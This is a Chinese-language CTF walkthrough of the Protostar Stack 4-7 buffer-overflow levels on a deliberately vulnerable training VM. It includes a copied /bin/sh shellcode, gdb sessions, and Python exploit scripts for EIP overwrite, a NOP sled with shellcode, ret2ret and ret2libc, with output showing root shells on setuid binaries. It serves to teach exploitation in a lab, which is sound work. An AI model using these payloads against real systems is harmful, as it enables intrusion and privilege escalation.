Protostar Stack 0-7 Walkthrough

所有的 python 脚本已经放在了这里


Protostar

☞ Protostar

Protostar introduces the following in a friendly way:

  • Network programming
  • Byte order
  • Handling sockets
  • Stack overflows
  • Format strings
  • Heap overflows
  • The above is introduced in a simple way, starting with simple memory corruption and modification, function redirection, and finally executing custom shellcode.

In order to make this as easy as possible to introduce Address Space Layout Randomisation and Non-Executable memory has been disabled. If you are interested in covering ASLR and NX memory, please see the Fusion page.


shell-storm

☞ shell-storm

有各种各样的 Shellcode

比较常用的是这个

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */
 
char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

乱七八糟的笔记

正常情况下在一个函数看来栈的布局
[higher memory]
caller’s frame
argument passed by the caller
return address
saved ebp ☜ ebp
local variable 1
local variable 2
local variable 3 ☜ esp
[lower memory]

关于 gdb 的 x/ 命令用法: x /[Length][Format] [Address expression]

例: x/24wx $esp x/2i $eip


define hook-stop 的用法:

info registers
x/24wx $esp
x/2i $eip
end

以及:

(gdb) set disassembly-flavor intel

$ ls -al /opt/protostar/bin/ | grep stack
-rwsr-xr-x 1 root root 22412 Nov 24  2011 stack0
-rwsr-xr-x 1 root root 23196 Nov 24  2011 stack1
-rwsr-xr-x 1 root root 23350 Nov 24  2011 stack2
-rwsr-xr-x 1 root root 23130 Nov 24  2011 stack3
-rwsr-xr-x 1 root root 22860 Nov 24  2011 stack4
-rwsr-xr-x 1 root root 22612 Nov 24  2011 stack5
-rwsr-xr-x 1 root root 23331 Nov 24  2011 stack6
-rwsr-xr-x 1 root root 23461 Nov 24  2011 stack7

Stack Zero ~ Three

☞ 为了避免太长就被隐藏在这里了x


Stack Four

Stack4 takes a look at overwriting saved EIP and standard buffer overflows.

This level is at /opt/protostar/bin/stack4

Hints

  • A variety of introductory papers into buffer overflows may help.
  • gdb lets you do “run < input”
  • EIP is not directly after the end of buffer, compiler padding can also increase the size.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

首先 objdump 找到 void win() 的地址

user@protostar:/opt/protostar/bin$ objdump -t /opt/protostar/bin/stack4 | grep win
080483f4 g     F .text	00000014              win

然后,如何知道 main() 会返回到哪里呢….

(gdb) disassemble main
Dump of assembler code for function main:
0x08048408 <main+0>:	push   %ebp
0x08048409 <main+1>:	mov    %esp,%ebp
0x0804840b <main+3>:	and    $0xfffffff0,%esp
0x0804840e <main+6>:	sub    $0x50,%esp
0x08048411 <main+9>:	lea    0x10(%esp),%eax
0x08048415 <main+13>:	mov    %eax,(%esp)
0x08048418 <main+16>:	call   0x804830c <gets@plt>
0x0804841d <main+21>:	leave  
0x0804841e <main+22>:	ret    
End of assembler dump.

首先在 0x0804841e <main+22>: ret 处设置断点

(gdb) break *0x0804841e
Breakpoint 1 at 0x804841e: file stack4/stack4.c, line 16.

为了方便可以写一个字母表…就大概知道栈溢出到了什么地方..总之就是为了方便x

user@protostar:/tmp$ more alb
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV

运行,并查看栈

这里就 x/24wx $esp 好了

(gdb) run < alb
Starting program: /opt/protostar/bin/stack4 < alb

Breakpoint 1, 0x0804841e in main (argc=Cannot access memory at address 0x5353535b
) at stack4/stack4.c:16
16	in stack4/stack4.c

(gdb) x/24wx $esp 
0xbffff79c:	0x54545454	0x55555555	0x56565656	0xbffff800
0xbffff7ac:	0xb7fe1848	0xbffff800	0xffffffff	0xb7ffeff4
0xbffff7bc:	0x0804824b	0x00000001	0xbffff800	0xb7ff0626
0xbffff7cc:	0xb7fffab0	0xb7fe1b28	0xb7fd7ff4	0x00000000
0xbffff7dc:	0x00000000	0xbffff818	0xfc365215	0xd6616405
0xbffff7ec:	0x00000000	0x00000000	0x00000000	0x00000001

可见现在栈最高处存着 0x54545454,而这就是 EIP 马上会取的 Return Address

前进一步看看

(gdb) si
Cannot access memory at address 0x53535357

(gdb) info registers
eax            0xbffff750	-1073744048
ecx            0xbffff750	-1073744048
edx            0xb7fd9334	-1208118476
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff7a0	0xbffff7a0
ebp            0x53535353	0x53535353
esi            0x0	0
edi            0x0	0
eip            0x54545454	0x54545454
eflags         0x200246	[ PF ZF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

看来确实是 eip 0x54545454

接下来只要把 0x54545454 改成 void win() 的地址即可

user@protostar:/tmp$ more stack4.py 
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
win = "\xf4\x83\x04\x08"
print (padding + win)

user@protostar:/tmp$ python stack4.py | /opt/protostar/bin/stack4
code flow successfully changed
Segmentation fault

user@protostar:/tmp$

Stack Five

Stack5 is a standard buffer overflow, this time introducing shellcode.

This level is at /opt/protostar/bin/stack5

Hints

  • At this point in time, it might be easier to use someone elses shellcode
  • If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
  • remove the int3s once your shellcode is done.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

终于可以开始执行 shellcode 了,好耶w

首先通过与上题一样的步骤,我们可以改函数的 Return Address

想执行 shellcode 的简单思路就是:

  1. 把 shellcode 写到栈上
  2. 把 Return Address 指向写了 shellcode 的地方

但是,由于环境变量等种种问题,很可能程序每次在栈上的地址都不太一样,

这种情况可以在 shellcode 前填充大量的 NOP…这样的话不管 Return Address 指向了哪里,反正只要指向了这一大段冇用的 NOP 的话那么最终就能到达 shellcode

NOP 的详细定义:

The NOP instruction does nothing. Execution continues with the next instruction. No registers or flags are affected by this instruction. NOP is typically used to generate a delay in execution or to reserve space in code memory.

不过说起来,Hints 里提到过:

If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger

来看一下 \xCC (int3) 的定义:

The INT3 instruction is a one-byte-instruction defined for use by debuggers to temporarily replace an instruction in a running program in order to set a code breakpoint.

来试一下,首先找个地址来当 Return Address

(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:	push   ebp
0x080483c5 <main+1>:	mov    ebp,esp
0x080483c7 <main+3>:	and    esp,0xfffffff0
0x080483ca <main+6>:	sub    esp,0x50
0x080483cd <main+9>:	lea    eax,[esp+0x10]
0x080483d1 <main+13>:	mov    DWORD PTR [esp],eax
0x080483d4 <main+16>:	call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:	leave  
0x080483da <main+22>:	ret    
End of assembler dump.

(gdb) break *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.

(gdb) r
Starting program: /opt/protostar/bin/stack5 
Hello

Breakpoint 1, 0x080483da in main (argc=134513604, argv=0x1) at stack5/stack5.c:11
11	stack5/stack5.c: No such file or directory.
	in stack5/stack5.c
	
(gdb) x/24wx $esp
0xbffff79c:	0xb7eadc76	0x00000001	0xbffff844	0xbffff84c
0xbffff7ac:	0xb7fe1848	0xbffff800	0xffffffff	0xb7ffeff4
0xbffff7bc:	0x08048232	0x00000001	0xbffff800	0xb7ff0626
0xbffff7cc:	0xb7fffab0	0xb7fe1b28	0xb7fd7ff4	0x00000000
0xbffff7dc:	0x00000000	0xbffff818	0xf982f58c	0xd3d5c39c
0xbffff7ec:	0x00000000	0x00000000	0x00000000	0x00000001

随便选一个…比如 0xbffff7dc

# stack5.py
import struct

padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
return_address = struct.pack("I", 0xbffff7dc + 10)
nop = "\x90" * 300
int3 = "\xCC\xCC\xCC\xCC"

print (padding + return_address + nop + int3)

# 接下来 python stack5.py > st5
(gdb) r < st5
Starting program: /opt/protostar/bin/stack5 < st5

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff8cd in ?? ()

(gdb) 

Program received signal SIGTRAP, Trace/breakpoint trap. 看起来是成功了

接下来把 shellcode 也加进去吧,就用最开头的那个

# stack5.py

import struct

padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
return_address = struct.pack("I", 0xbffff7dc + 10)
nop = "\x90" * 300
int3 = "\xCC\xCC\xCC\xCC"
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x
89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

# 注意这里把 int3 去掉了
print (padding + return_address + nop + shellcode)
user@protostar:/tmp$ python stack5.py | /opt/protostar/bin/stack5
# whoami
root
# 

完成w


Stack Six

Stack6 looks at what happens when you have restrictions on the return address.

This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.

It is strongly suggested you experiment with multiple ways of getting your code to execute here.

This level is at /opt/protostar/bin/stack6

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

先看这部分:

ret = __builtin_return_address(0);

if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

有一个 if((ret & 0xbf000000) == 0xbf000000) 的操作…简单来说相当于是如果 retbf 开头的话那么条件为真(结果就是_exit(1)

(gdb) break main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.

(gdb) r
Starting program: /opt/protostar/bin/stack6 

Breakpoint 1, main (argc=1, argv=0xbffff844) at stack6/stack6.c:27
27	stack6/stack6.c: No such file or directory.
	in stack6/stack6.c

(gdb) info proc map
process 5679
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
	 0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
	0xb7e96000 0xb7e97000     0x1000          0        
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
	0xb7fd9000 0xb7fdc000     0x3000          0        
	0xb7fe0000 0xb7fe2000     0x2000          0        
	0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
	0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
	0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
	0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
	0xbffeb000 0xc0000000    0x15000          0           [stack]

(gdb) 

可见 0xbffeb000 - 0xc0000000 都是栈…

那么就变成了:「只要 ret 指向栈上的某个地址,那么就会 _exit(1)


exploit #0 : ret2ret

瞎取的名字x

即,虽然它会检查 ret 要返回到的地址会不会被修改到栈上…

但如果 ret 到自己呢…

(gdb) disassemble getpath
Dump of assembler code for function getpath:
# 省略一部分
0x080484c2 <getpath+62>:	jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:	mov    eax,0x80485e4
0x080484c9 <getpath+69>:	mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:	mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:	mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:	call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:	mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:	call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:	mov    eax,0x80485f0
0x080484e9 <getpath+101>:	lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:	mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:	mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:	call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:	leave
0x080484f9 <getpath+117>:	ret    
End of assembler dump.

比如 0x080484f9 <getpath+117>: ret 这里会被检查是否 ret 到了栈上 但如果 ret 到自己(0x080484f9 <getpath+117>)的话,那接下来这一次 ret 要到的地址就不会被检查…

#stack6_0.py

import struct

padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTT"
# 第一次 ret 到 0x080484f9 也就是 ret 自己所处的地址
ret_first_time = struct.pack("I", 0x080484f9)
# 第二次 ret 到栈上随便某个地方
ret_second_time = struct.pack("I", 0xbffff7dc + 30)
nop = "\x90" * 300
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

print (padding + ret_first_time + ret_second_time + nop + shellcode)
user@protostar:/tmp$ python stack6_0.py | /opt/protostar/bin/stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP?RRRRSSSSTTTT?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?1۰̀Sh/ttyh/dev??1?f?'?̀1?Ph//shh/bin??PS?ᙰ
                       ̀
# whoami
root
# 

exploit #1 : ret2libc

A Ret2libC attack allows us to call the C function system and a function called exit in order to spawn a shell and thereafter allow the program to exit cleanly without arousing any suspicion.

既然想执行 /bin/sh 的话,首先得调用 system

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

然后找找 /bin/sh 在哪

user@protostar:/tmp$ strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
 11f3bf /bin/sh
(gdb) info proc map
process 5972
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
	 0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
	0xb7e96000 0xb7e97000     0x1000          0        
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
	0xb7fd9000 0xb7fdc000     0x3000          0        
	0xb7fe0000 0xb7fe2000     0x2000          0        
	0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
	0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
	0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
	0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
	0xbffeb000 0xc0000000    0x15000          0           [stack]

可见 /lib/libc-2.11.2.soStart Addr0xb7e97000

(gdb) x/s 0xb7e97000+0x11f3bf
0xb7fb63bf:	 "/bin/sh"

那么

<__libc_system>: 0xb7ecffb0

/bin/sh: 0xb7fb63bf

再回顾一下:

正常情况下在一个函数看来栈的布局
[higher memory]
caller’s frame
argument passed by the caller
return address
saved ebp ☜ ebp
local variable 1
local variable 2
local variable 3 ☜ esp
[lower memory]

我们并非通过 Call 来到达 System 的,而是直接跳过去的,

所以必须得把栈变成上面的形状才能正常正常运行

这里使用的是 ☞ cdecl 调用公约

其中,/bin/sh: 0xb7fb63bf 这个地址就是 System 的参数,也就是一个字符串的地址

但是还需要另一个参数,是 System 执行完成后的返回地址(这个地址可以乱写,但不能没有)

(system 把参数的字符串当成 shell command 来执行)

对应一下:
[higher memory]
caller’s frame
argument passed by the caller ☜ return_addr_after_system + /bin/sh: 0xb7fb63bf
return address <__libc_system>: 0xb7ecffb0
saved ebp ☜ ebp ☜ we dont care
local variable 1
local variable 2
local variable 3 ☜ esp ☜ buffer overflow begins
[lower memory]

可以试试了

# stack6_1.py
import struct

padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTT"
libc_system = struct.pack("I", 0xb7ecffb0)
return_addr_after_system = "AAAA"
bin_sh_addr = struct.pack("I", 0xb7fb63bf)

print (padding + libc_system + return_addr_after_system + bin_sh_addr)
user@protostar:/tmp$ python stack6_1.py | /opt/protostar/bin/stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP???RRRRSSSSTTTT???AAAA?c??
Segmentation fault

user@protostar:/tmp$

为什么就没有了呢,怎么会是呢

实际上确实已经有一个 /bin/sh 生成了,可是还什么都没输入就退出了

这时候可以使用 cat

直接执行 cat 的话,效果是复读

user@protostar:/tmp$ cat
Hello
Hello
Hey
Hey
Minty daisuki x
Minty daisuki x
^C

user@protostar:/tmp$

把命令改成这样可以保证 shell 一直打开,并通过管道来重定向输入

(python stack6_1.py; cat) | /opt/protostar/bin/stack6

试一下的话

user@protostar:/tmp$ (python stack6_1.py; cat) | /opt/protostar/bin/stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP???RRRRSSSSTTTT???AAAA?c??
whoami
root
ls /
bin  boot  dev	etc  home  initrd.img  lib  live  lost+found  media  mnt  opt  proc  sbin  selinux  srv  sys  tmp  usr	var  vmlinuz

成功w


Stack Seven

Stack6 introduces return to .text to gain code execution.

The metasploit tool “msfelfscan” can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.

This level is at /opt/protostar/bin/stack7

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

实际上这题和上面的 Stack Six 差不多,结合一下 ret2ret 和 ret2libc 就可以了

import struct

padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTT"
ret_itself_addr = struct.pack("I", 0x08048544)
libc_system = struct.pack("I", 0xb7ecffb0)
return_addr_after_system = "AAAA"
bin_sh_addr = struct.pack("I", 0xb7fb63bf)

print (padding+ ret_itself_addr + libc_system + return_addr_after_system + bin_sh_addr)
user@protostar:/tmp$ (python stack7.py; cat) | /opt/protostar/bin/stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD???AAAA?c??
whoami
root
ls /
bin  boot  dev	etc  home  initrd.img  lib  live  lost+found  media  mnt  opt  proc  sbin  selinux  srv  sys  tmp  usr	var  vmlinuz